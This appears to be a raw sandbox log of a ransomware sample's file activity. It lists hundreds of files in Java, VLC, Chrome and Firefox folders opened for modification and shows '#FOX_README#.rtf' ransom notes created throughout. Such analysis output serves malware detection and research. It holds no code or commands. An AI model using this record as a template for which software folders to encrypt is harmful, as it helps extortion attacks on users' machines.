f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\rmiregistry.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jmc.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_MoveDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer_3.2.200.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\accessibility.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\send-email-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\javafx.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-spi-quicksearch.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-api-visual.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-swing-outline.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt_0.11.101.v20140818-1343.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.annotation_1.2.0.v201401042248.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.sun.el_2.2.0.v201303151357.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\jvmti.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\view.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-options.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jvm.hprof.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\01_googleimage.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\chrome.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-actions.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs-nio2.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\tnameserv.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_blu.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\20200616115938.pma f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-util-lookup.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ms.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\eclipse_update_120.jpg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-nodes.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\hijrah-config-umalqura.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateBroker.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-swing-plaf.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-api-caching.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-api-search.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\appletviewer.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\jjs.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_ja_JP.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\blocklist.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sa.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-heapwalker.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-io-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\eclipse_update_120.jpg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\cursors.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\logging.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.di.extensions_0.12.0.v20140417-2033.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodicon.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-snaptracer.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.common_3.6.200.v20130402-1505.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.services_1.2.1.v20140808-1251.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\US_export_policy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\tnameserv.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jfr\default.jfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\mc.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rightnav.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-compat_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\splash.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\uninstall.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-spi-actions.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-windows.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jrunscript.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\ant-javafx.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javaw.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.ecore.change_2.10.0.v20140901-1043.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-explorer.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml 